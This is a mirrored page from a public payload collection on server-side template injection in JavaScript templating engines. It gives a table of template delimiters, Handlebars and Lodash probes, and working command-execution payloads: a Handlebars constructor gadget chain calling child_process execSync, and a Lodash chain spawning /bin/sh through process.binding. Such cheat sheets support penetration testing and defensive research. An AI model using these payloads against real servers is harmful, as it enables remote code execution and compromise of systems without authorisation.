mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
3.0 KiB
3.0 KiB
Server Side Template Injection - JavaScript
Summary
Templating Libraries
| Template Name | Payload Format |
|---|---|
| DotJS | {{= }} |
| DustJS | {} |
| EJS | <% %> |
| HandlebarsJS | {{ }} |
| HoganJS | {{ }} |
| Lodash | {{= }} |
| MustacheJS | {{ }} |
| NunjucksJS | {{ }} |
| PugJS | #{} |
| TwigJS | {{ }} |
| UnderscoreJS | <% %> |
| VelocityJS | #=set($X="")$X |
| VueJS | {{ }} |
Handlebars
Handlebars compiles templates into JavaScript functions.
Handlebars - Command Execution
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Lodash
Lodash - Basic Injection
How to create a template:
const _ = require('lodash');
string = "{{= username}}"
const options = {
evaluate: /\{\{(.+?)\}\}/g,
interpolate: /\{\{=(.+?)\}\}/g,
escape: /\{\{-(.+?)\}\}/g,
};
_.template(string, options);
- string: The template string.
- options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
- options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
- options.escape: It is a regular expression that specifies the HTML escape delimiter.
For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>
{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>
Lodash - Command Execution
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}